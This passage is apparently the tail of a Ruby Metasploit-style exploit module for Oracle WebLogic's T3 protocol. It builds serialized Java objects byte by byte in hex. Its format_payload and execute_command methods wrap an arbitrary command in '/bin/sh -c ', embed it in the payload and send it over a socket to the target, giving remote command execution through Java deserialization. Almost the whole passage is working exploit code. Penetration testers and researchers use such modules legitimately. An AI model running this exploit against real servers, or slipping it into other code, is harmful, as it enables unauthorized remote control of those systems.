698
    request_obj << '0024' # Class name length: 36
699
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
700
    request_obj << '6f6d6d6f6e2e696e7465'
701
    request_obj << '726e616c2e5061636b61'
702
    request_obj << '6765496e666f'
703
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
704
    request_obj << '020009' # Serializable, 9 fields
705
    request_obj << '490005' # Field type: Int, field name length: 5
706
    request_obj << '6d616a6f72' # major
707
    request_obj << '490005' # Field type: Int, field name length: 5
708
    request_obj << '6d696e6f72' # minor
709
    request_obj << '49000b' # Field type: Int, field name length: 11
710
    request_obj << '70617463685570646174' # patchUpdate
711
    request_obj << '65'
712
    request_obj << '49000c' # Field type: Int, field name length: 12
713
    request_obj << '726f6c6c696e67506174' # rollingPatch
714
    request_obj << '6368'
715
    request_obj << '49000b' # Field type: Int, field name length: 11
716
    request_obj << '73657276696365506163' # servicePack
717
    request_obj << '6b'
718
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
719
    request_obj << '74656d706f7261727950' # temporaryPatch
720
    request_obj << '61746368'
721
    request_obj << '4c0009' # Field type: Object, field name length: 9
722
    request_obj << '696d706c5469746c65' # implTitle
723
    request_obj << '71007e0005' # TC_REFERENCE, handle
724
    request_obj << '4c000a' # Field type: Object, field name length: 10
725
    request_obj << '696d706c56656e646f72' # implVendor
726
    request_obj << '71007e0005' # TC_REFERENCE, handle
727
    request_obj << '4c000b' # Field type: Object, field name length: 11
728
    request_obj << '696d706c56657273696f' # implVersion
729
    request_obj << '6e'
730
    request_obj << '71007e0005' # TC_REFERENCE, handle
731
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
732
    request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
733
    request_obj << 'fe00ff' # separator
734
    request_obj << 'fe010000'
735
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
736
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
737
    request_obj << '0013' # Class name length: 19
738
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
739
    request_obj << '6a766d2e4a564d4944'
740
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
741
    request_obj << '0c0000'
742
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
743
    request_obj << '4621'
744
    request_obj << '000000000000000000'
745
    request_obj << '09' # length: 9
746
    request_obj << '3132372e302e312e31' # 127.0.1.1
747
    request_obj << '000b' # length: 11
748
    request_obj << '75732d6c2d627265656e' # us-l-breens
749
    request_obj << '73'
750
    request_obj << 'a53caff10000000700'
751
    request_obj << '001b59'
752
    request_obj << 'ffffffffffffffffffff'
753
    request_obj << 'ffffffffffffffffffff'
754
    request_obj << 'ffffffff'
755
    request_obj << '0078'
756
    request_obj << 'fe010000' # separator
757
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
758
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
759
    request_obj << '0013' # Class name length: 19
760
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
761
    request_obj << '6a766d2e4a564d4944'
762
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
763
    request_obj << '0c0000'
764
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
765
    request_obj << '1d0181401281'
766
    request_obj << '34bf427600093132372e'
767
    request_obj << '302e312e31a53caff1'
768
    request_obj << '000000000078'
769

770
    new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
771
    request_obj[0, 8] = new_len
772

773
    sock.put([request_obj].pack('H*'))
774
    sleep(1)
775
  end
776

777
  def format_payload(payload_cmd)
778
    print_status('Formatting payload...')
779
    payload_arr = payload_cmd.split(' ', 3)
780

781
    formatted_payload = ''
782
    payload_arr.each do |part|
783
      formatted_payload << '74' # denotes a string
784
      formatted_payload << part.length.to_s(16).rjust(4, '0')
785
      formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
786
    end
787

788
    formatted_payload
789
  end
790

791
  def execute_command(cmd, _opts = {})
792
    cmd.prepend('/bin/sh -c ')
793
    cmd = build_payload_obj(cmd)
794

795
    t3_send(cmd)
796
  end
797
end
798

799